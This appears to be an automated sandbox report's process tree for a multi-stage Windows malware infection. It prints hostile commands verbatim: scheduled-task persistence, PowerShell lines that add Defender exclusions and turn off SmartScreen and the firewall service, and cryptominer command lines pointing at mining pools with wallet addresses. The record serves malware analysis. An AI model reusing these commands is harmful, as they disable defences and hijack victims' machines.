- Executes dropped EXE
PID:2708 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:2484
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:2816
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies system certificate store
PID:956 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:2324
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
PID:2476
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
- Executes dropped EXE
PID:632
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵PID:2952
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2728 -
C:\ProgramData\4878931.exe"C:\ProgramData\4878931.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2324 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2324 -s 17209⤵
- Program crash
PID:2508
-
-
-
C:\ProgramData\6582302.exe"C:\ProgramData\6582302.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2164 -
C:\ProgramData\6582302.exe"C:\ProgramData\6582302.exe"9⤵PID:1796
-
-
-
C:\ProgramData\8927813.exe"C:\ProgramData\8927813.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2480 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 17249⤵
- Program crash
PID:1568
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
PID:2776 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2776 -s 16528⤵
- Program crash
PID:2472
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2820 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit8⤵PID:2312
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "setup.exe" /f9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2716
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵
- Executes dropped EXE
PID:2876
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
PID:2916 -
C:\Users\Admin\AppData\Local\Temp\is-B4K2H.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-B4K2H.tmp\setup_2.tmp" /SL5="$40182,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
PID:3000 -
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
PID:1160 -
C:\Users\Admin\AppData\Local\Temp\is-NQA5V.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-NQA5V.tmp\setup_2.tmp" /SL5="$201AA,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:1536
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
PID:2940 -
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
PID:2096
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
PID:2984
-
-
C:\Users\Admin\AppData\Local\Temp\8.exe"C:\Users\Admin\AppData\Local\Temp\8.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3032 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
- Executes dropped EXE
PID:2824 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\SoftID\xender.bat" "9⤵PID:2972
-
C:\Users\Admin\AppData\Roaming\SoftID\inupda.exeinupda.exe10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:564 -
C:\Users\Admin\AppData\Roaming\SoftID\inupda.exeinupda.exe11⤵PID:2692
-
-
-
C:\Users\Admin\AppData\Roaming\SoftID\FoxyIDM621d.exeFoxyIDM621d.exe10⤵
- Executes dropped EXE
PID:2864 -
C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"11⤵
- Executes dropped EXE
PID:3052
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun150faeb3537d.exe4⤵
- Loads dropped DLL
PID:564 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun150faeb3537d.exeSun150faeb3537d.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1252 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2552
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2596
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun1584240df9fe73a3.exe4⤵
- Loads dropped DLL
PID:1884 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun1584240df9fe73a3.exeSun1584240df9fe73a3.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1640 -
C:\ProgramData\5441681.exe"C:\ProgramData\5441681.exe"6⤵PID:2584
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:1820
-
-
-
C:\ProgramData\3515259.exe"C:\ProgramData\3515259.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1644 -
C:\ProgramData\3515259.exe"C:\ProgramData\3515259.exe"7⤵PID:704
-
-
C:\ProgramData\3515259.exe"C:\ProgramData\3515259.exe"7⤵
- Executes dropped EXE
PID:2996
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 7367⤵
- Program crash
PID:3004
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun157a449716c8ee483.exe /mixone4⤵
- Loads dropped DLL
PID:1656 -
C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun157a449716c8ee483.exeSun157a449716c8ee483.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1992 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Sun157a449716c8ee483.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCF605714\Sun157a449716c8ee483.exe" & exit6⤵PID:2516
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Sun157a449716c8ee483.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2680
-
-
-
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2308 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:2328
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2308 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2688
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "800517745-1383744108-1302016082-1975564085-856490593-381025516-1578392045-66825448"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:2584
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1884 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:1460
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
PID:2624 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 968120245C8103B64700A00FD0AAA8AD C2⤵PID:1200
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 56D0C4172415C0BBFC5291FC1533381D2⤵PID:3276
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:3372
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 712729CF7151460CE10729C90F51A585 M Global\MSI00002⤵PID:1672
-
-
C:\Users\Admin\AppData\Local\Temp\ECA0.exeC:\Users\Admin\AppData\Local\Temp\ECA0.exe1⤵PID:2536
-
C:\Users\Admin\AppData\Local\Temp\update.exe"C:\Users\Admin\AppData\Local\Temp\update.exe"2⤵PID:3268
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\update.exe"3⤵PID:6480
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵PID:6500
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GfAGyUaekITFAr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8D9F.tmp"3⤵
- Creates scheduled task(s)
PID:6488
-
-
-
C:\Users\Admin\AppData\Local\Temp\updates.exe"C:\Users\Admin\AppData\Local\Temp\updates.exe"2⤵PID:3260
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(exit)3⤵PID:3512
-
-
C:\ProgramData\Systemd\xmrig.exe-o xmr.2miners.com:2222 -u 47mirFkDJ6TiY1fmhHxiP1ifdZ4NbdLM4DZoK2B99nLABGgXxbdk5u5RZFb41VaMw82eE8aEvusNQ9ifaWpRyvz99JiniVw -p password666 --coin=XMR --cpu-max-threads-hint=353⤵PID:4060
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {FF4AC4BC-3B91-416E-A763-D4A1C440D3DF} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2792
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 80802⤵PID:2224
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 80802⤵PID:3860
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 80802⤵PID:3032
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 80802⤵PID:3908
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 80802⤵PID:2828
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 80802⤵PID:1696
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 80802⤵PID:3980
-
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 80802⤵PID:4776
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {66006CA0-6017-4675-8791-2B90AC52BAD8} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]1⤵PID:3744
-
C:\Users\Admin\AppData\Roaming\avbfbseC:\Users\Admin\AppData\Roaming\avbfbse2⤵PID:3768
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {03EA2395-DA2A-4EF2-9860-37C8A3AECB3A} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]1⤵PID:3124
-
C:\Users\Admin\AppData\Roaming\avbfbseC:\Users\Admin\AppData\Roaming\avbfbse2⤵PID:7668
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {0702E8B0-0FCA-4357-AE5A-A5112A6DE215} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]1⤵PID:4180
-
C:\Users\Admin\AppData\Roaming\avbfbseC:\Users\Admin\AppData\Roaming\avbfbse2⤵PID:3884
-